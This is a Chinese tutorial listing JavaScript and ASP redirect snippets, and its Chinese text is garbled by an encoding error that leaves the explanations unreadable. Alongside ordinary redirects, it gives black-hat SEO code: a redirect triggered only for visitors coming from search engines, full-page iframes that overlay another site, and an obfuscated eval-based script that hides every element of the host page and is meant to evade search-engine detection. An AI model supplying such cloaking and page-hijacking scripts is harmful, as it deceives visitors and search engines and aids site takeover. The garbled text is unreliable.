ä¸ã常è§çJS页é¢è·³è½¬ä»£ç
1ãå¨åæ¥ççªä½ä¸ç´æ¥è·³è½¬ç¨
<script type="text/javascript">
window.location.href="ä½ æè¦è·³è½¬ç页é¢";
</script>
2ãå¨æ°çªä½ä¸æå¼é¡µé¢ç¨ï¼
<script type="text/javascript">
window.open('ä½ æè¦è·³è½¬ç页é¢');
</script>
3ãJS页é¢è·³è½¬åæ°ç注解
<SCRIPT LANGUAGE="javascript">
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
//åæä¸è¡
-->
</SCRIPT>
åæ°è§£éï¼
<SCRIPT LANGUAGE="javascript"> jsèæ¬å¼å§ï¼
window.open å¼¹åºæ°çªå£çå½ä»¤ï¼
'page.html' å¼¹åºçªå£çæ件åï¼
'newwindow' å¼¹åºçªå£çååï¼ä¸æ¯æ件åï¼ï¼éå¿
é¡»ï¼å¯ç¨ç©º'代æ¿ï¼
height=100 çªå£é«åº¦ï¼
width=500 çªå£å®½åº¦ï¼
top=0 çªå£è·ç¦»å±å¹ä¸æ¹çè±¡ç´ å¼ï¼
left=0 çªå£è·ç¦»å±å¹å·¦ä¾§çè±¡ç´ å¼ã
äºã跳转æå®é¡µé¢çJS代ç
第1ç§ï¼
<script language="javascript" type="text/javascript">
window.location.href="login.jsp?backurl="+window.location.href;
</script>
第2ç§ï¼
<script language="javascript">
alert("è¿å");
window.history.back(-1);
</script>
第3ç§ï¼
<script language="javascript">
window.navigate("top.jsp");
</script>
第4ç§ï¼
<script language="JavaScript">
self.location=âtop.htmâ;
</script>
第5ç§ï¼
<script language="javascript">
alert("éæ³è®¿é®ï¼");
top.location=âxx.jspâ;
</script>
ä¸ã页é¢åçæå®æ¶é´å跳转ï¼å¦3ç§ï¼
<script type="text/javascript">
function jumurl(){
window.location.href = '
http://www.mahaixiang.cn/';
}
setTimeout(jumurl,3000);
</script>
åãæ ¹æ®è®¿å®¢æ¥æºè·³è½¬çJS代ç
1ãJSå¤ææ¥è·¯ä»£ç
æ¤æ®µä»£ç 主è¦ç¨äºç¾åº¦è°·æç¹å»è¿å
¥è·³è½¬ï¼ç´æ¥æå¼ç½ç«ä¸è·³è½¬ï¼
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="
http://www.mahaixiang.cn/";
</script>
2ãJSç´æ¥è·³è½¬ä»£ç
<script LANGUAGE="Javascript">
location.href="
http://www.mahaixiang.cn/";
</script>
3ãASP跳转代ç å¤ææ¥è·¯
<%
if instr(Request.ServerVariables("http_referer"),"
www.baidu.com")>0 then
response.redirect("
http://www.mahaixiang.cn/")
end if
%>
4ãASPç´æ¥è·³è½¬ç
<%
response.redirect("
http://www.mahaixiang.cn/")
%>
äºã广åä¸ç½ç«é¡µé¢ä¸èµ·çJS代ç
1ãä¸é¢æ¯å¹¿åä¸é¢æ¯ç«ç¾¤ç代ç
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=
http://www.mahaixiang.cn/></iframe>");
2ãå
¨é¨è¦çç代ç
document.write("</iframe><iframe src='
http://www.mahaixiang.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");
3ãæ··æ·é²æ¢æç´¢å¼æ被æ¥çjsè°ç¨
å
·ä½çå±ç¤ºä¸é¢æ¯å¹¿åä¸é¢æ¯ç«ç¾¤ç代ç ï¼
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
å
ã页é¢è·³åºæ¡æ¶
<script type="text/javascript">
top.location.href='
http://www.mahaixiang.cn/';
</script>
ä¸ãè¿åä¸ä¸é¡µ
<script type="text/javascript">
window.history.back(-1);
</script>